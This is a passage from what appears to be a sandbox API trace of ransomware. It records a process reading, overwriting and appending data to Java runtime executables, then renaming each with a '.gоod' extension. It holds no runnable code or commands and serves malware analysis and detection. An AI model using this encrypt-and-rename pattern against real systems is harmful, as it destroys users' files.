dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.774] GetFileType (hFile=0x6b0) returned 0x1 [0075.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0075.774] GetFileType (hFile=0x6b0) returned 0x1 [0075.774] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0075.774] ReadFile (in: hFile=0x6b0, lpBuffer=0x363f8a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x363f8a8*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0075.776] CloseHandle (hObject=0x6b0) returned 1 [0075.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", lpFilePart=0x0) returned 0x36 [0075.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0075.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.776] GetFileType (hFile=0x6b0) returned 0x1 [0075.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0075.776] GetFileType (hFile=0x6b0) returned 0x1 [0075.776] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1b640 [0075.776] WriteFile (in: hFile=0x6b0, lpBuffer=0x3640b20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3640b20*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0075.777] CloseHandle (hObject=0x6b0) returned 1 [0075.781] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", lpFilePart=0x0) returned 0x36 [0075.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0075.781] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.781] GetFileType (hFile=0x6b0) returned 0x1 [0075.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0075.781] GetFileType (hFile=0x6b0) returned 0x1 [0075.781] ReadFile (in: hFile=0x6b0, lpBuffer=0x3642dc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3642dc0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0076.328] CloseHandle (hObject=0x6b0) returned 1 [0076.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", lpFilePart=0x0) returned 0x36 [0076.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.329] GetFileType (hFile=0x6b0) returned 0x1 [0076.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.329] GetFileType (hFile=0x6b0) returned 0x1 [0076.329] WriteFile (in: hFile=0x6b0, lpBuffer=0x3229de0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3229de0*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0076.329] CloseHandle (hObject=0x6b0) returned 1 [0076.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", lpFilePart=0x0) returned 0x36 [0076.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.gоod", lpFilePart=0x0) returned 0x3b [0076.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0076.332] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x29b5f749, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b650)) returned 1 [0076.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0076.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.gоod")) returned 1 [0076.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", lpFilePart=0x0) returned 0x32 [0076.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0076.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x3290f38 | out: lpFileInformation=0x3290f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0076.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0076.334] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", lpFilePart=0x0) returned 0x32 [0076.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.334] GetFileType (hFile=0x6b0) returned 0x1 [0076.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.334] GetFileType (hFile=0x6b0) returned 0x1 [0076.334] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0076.334] ReadFile (in: hFile=0x6b0, lpBuffer=0x32912f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x32912f0*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0076.335] CloseHandle (hObject=0x6b0) returned 1 [0076.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", lpFilePart=0x0) returned 0x32 [0076.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.336] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.336] GetFileType (hFile=0x6b0) returned 0x1 [0076.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.336] GetFileType (hFile=0x6b0) returned 0x1 [0076.336] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0076.336] WriteFile (in: hFile=0x6b0, lpBuffer=0x3292558*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3292558*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0076.337] CloseHandle (hObject=0x6b0) returned 1 [0076.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", lpFilePart=0x0) returned 0x32 [0076.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.339] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.339] GetFileType (hFile=0x6b0) returned 0x1 [0076.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.339] GetFileType (hFile=0x6b0) returned 0x1 [0076.339] ReadFile (in: hFile=0x6b0, lpBuffer=0x32947e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x32947e8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0076.366] CloseHandle (hObject=0x6b0) returned 1 [0076.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", lpFilePart=0x0) returned 0x32 [0076.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.367] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.367] GetFileType (hFile=0x6b0) returned 0x1 [0076.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.367] GetFileType (hFile=0x6b0) returned 0x1 [0076.367] WriteFile (in: hFile=0x6b0, lpBuffer=0x3293570*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3293570*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0076.367] CloseHandle (hObject=0x6b0) returned 1 [0076.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", lpFilePart=0x0) returned 0x32 [0076.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.gоod", lpFilePart=0x0) returned 0x37 [0076.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0076.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x29babdaa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0076.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0076.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.gоod")) returned 1 [0076.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", lpFilePart=0x0) returned 0x30 [0076.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0076.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), fInfoLevelId=0x0, lpFileInformation=0x3310b30 | out: lpFileInformation=0x3310b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0076.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0076.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", lpFilePart=0x0) returned 0x30 [0076.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.370] GetFileType (hFile=0x6b0) returned 0x1 [0076.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.370] GetFileType (hFile=0x6b0) returned 0x1 [0076.370] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0076.370] ReadFile (in: hFile=0x6b0, lpBuffer=0x3310ee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3310ee8*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0076.698] CloseHandle (hObject=0x6b0) returned 1 [0076.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", lpFilePart=0x0) returned 0x30 [0076.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.858] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0076.858] GetFileType (hFile=0x6b4) returned 0x1 [0076.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.858] GetFileType (hFile=0x6b4) returned 0x1 [0076.858] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0076.858] WriteFile (in: hFile=0x6b4, lpBuffer=0x33d4f58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x33d4f58*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0076.859] CloseHandle (hObject=0x6b4) returned 1 [0076.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", lpFilePart=0x0) returned 0x30 [0076.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.861] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0076.861] GetFileType (hFile=0x6b4) returned 0x1 [0076.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.861] GetFileType (hFile=0x6b4) returned 0x1 [0076.861] ReadFile (in: hFile=0x6b4, lpBuffer=0x33d71e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x33d71e8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0076.889] CloseHandle (hObject=0x6b4) returned 1 [0076.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", lpFilePart=0x0) returned 0x30 [0076.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0076.889] GetFileType (hFile=0x6b4) returned 0x1 [0076.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.889] GetFileType (hFile=0x6b4) returned 0x1 [0076.889] WriteFile (in: hFile=0x6b4, lpBuffer=0x33d5f70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x33d5f70*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0076.890] CloseHandle (hObject=0x6b4) returned 1 [0076.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", lpFilePart=0x0) returned 0x30 [0076.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.gоod", lpFilePart=0x0) returned 0x35 [0076.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0076.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2a0bce03, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0076.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0076.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.gоod")) returned 1 [0076.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", lpFilePart=0x0) returned 0x30 [0076.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0076.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), fInfoLevelId=0x0, lpFileInformation=0x3454588 | out: lpFileInformation=0x3454588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0076.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0076.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", lpFilePart=0x0) returned 0x30 [0076.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0076.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0076.892] GetFileType (hFile=0x6b4) returned 0x1 [0076.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0076.892] GetFileType (hFile=0x6b4) returned 0x1 [0076.892] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0076.892] ReadFile (in: hFile=0x6b4, lpBuffer=0x3454940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3454940*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0077.029] CloseHandle (hObject=0x6b4) returned 1 [0077.234] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", lpFilePart=0x0) returned 0x30 [0077.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.235] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.235] GetFileType (hFile=0x764) returned 0x1 [0077.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.235] GetFileType (hFile=0x764) returned 0x1 [0077.235] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0077.235] WriteFile (in: hFile=0x764, lpBuffer=0x33eeed8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x33eeed8*, 